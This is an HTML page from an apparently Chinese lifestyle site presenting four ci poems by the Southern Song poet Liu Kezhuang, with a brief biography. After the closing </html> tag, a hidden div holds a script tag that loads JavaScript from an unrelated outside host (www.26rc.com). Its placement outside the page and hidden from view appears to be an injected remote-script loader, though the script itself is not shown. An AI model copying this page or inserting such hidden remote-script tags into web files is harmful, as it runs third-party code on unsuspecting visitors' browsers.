<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-刘克庄</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>刘克庄</strong></span></div>

	<div class="Cont_tit sc">
		<h1>刘克庄</h1>
		<span>(1187～1269) 南宋诗人、词人、诗论家。字潜夫，号后村。莆田(今属福建)人。初名灼，师事真德秀。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>生查子</strong></div><div class="sc_det_cont">元夕戏陈敬叟<br/>繁灯夺霁华，戏鼓侵明发。物色旧时同，情味中年别。<br/>浅画镜中眉，深拜楼中月。人散市声收，渐入愁时节。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>木兰花</strong></div><div class="sc_det_cont">戏林推<br/>年年跃马长安市，客舍似家家似寄。青钱换酒日无何，红烛呼卢宵不寐。<br/>易挑锦妇机中字，难得玉人心下事。男儿西北有神州，莫滴水西桥畔泪。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>贺新郎</strong></div><div class="sc_det_cont">九日<br/>湛湛长空黑，更那堪、斜风细雨，乱愁如织。老眼平生空四海，赖有高楼百尺。看浩荡千崖秋色。白发书生神州泪，尽凄凉不向牛山滴。追往事，去无迹。<br/>少年自负凌云笔，到而今春华落尽，满怀萧瑟。常恨世人新意少，爱说南朝狂客。把破帽年年拈出。若对黄花孤负酒,怕黄花也笑人岑寂。鸿去北,日西匿。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>贺新郎</strong></div><div class="sc_det_cont">端午<br/>深院榴花吐，画帘开、衣纨扇，午风清暑。儿女纷纷夸结束，新样钗符艾虎。早已有游人观渡。老大逢场慵作戏，任陌头年少争旗鼓，溪雨急，浪花舞。<br/>灵均标致高如许，忆生平、既纫兰佩，更怀椒醑。谁信骚魂千载后，波底垂涎角黍。又说是、蛟馋龙怒。把似而今醒到了，料当年，醉死差无苦，聊一笑。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>刘克庄</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>